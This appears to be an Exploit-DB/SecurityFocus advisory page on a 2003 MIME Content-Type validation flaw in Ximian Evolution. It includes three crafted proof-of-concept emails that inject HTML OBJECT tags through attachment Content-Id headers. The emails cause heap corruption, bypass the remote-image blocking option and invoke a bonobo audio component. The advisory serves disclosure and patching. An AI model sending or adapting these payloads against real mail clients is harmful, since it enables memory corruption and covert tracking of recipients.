Ximian Evolution MIME Image/* Content-Type Validation Vulnerability

vendor:

Evolution

by:

SecurityFocus

7.5

CVSS

HIGH

MIME Image/* Content-Type Validation Vulnerability

CWE

Product Name: Evolution

Affected Version From: Ximian Evolution 1.0.x

Affected Version To: Ximian Evolution 1.2.x

Patch Exists: Yes

Related CWE: N/A

CPE: a:ximian:evolution

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2003

Ximian Evolution MIME Image/* Content-Type Validation Vulnerability

Ximian Evolution does not properly validate MIME image/* Content-Type fields. If an email message contains an image/* Content-Type, any type of data can be embedded where the image information is expected. This can be used to embed HTML tags that will be rendered by GTKHtml, bypass policies, or invoke bonobo components to handle external content types.

Mitigation:

Ensure that Ximian Evolution is up to date with the latest security patches.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7119/info

Ximian Evolution does not properly validate MIME image/* Content-Type fields. If an email message contains an image/* Content-Type, any type of data can be embedded where the image information is expected. This can be used to embed HTML tags that will be rendered by GTKHtml, bypass policies, or invoke bonobo components to handle external content types.

The following example will cause heap corruption:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Id: hello

Hello World!

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name1.gif
Content-Type: image/gif; name=name1.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will bypass the "Don't connect to remote hosts to fetch images" option:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Content-Id: apart

<img src="http://external.host.com:anyport">

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:apart" type="text/html"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y

The following example will cause Evolution to invoke the bonobo-audio-ulaw component:

>From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Type: audio/ulaw
Content-Transfer-Encoding: 7bit
Content-Id: mysong

There she was, just walking down the street...

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:mysong" type="audio/ulaw"></OBJECT><hr "
Content-Transfer-Encoding: base64

--=-mTDu5zdJIsixETTwCF5Y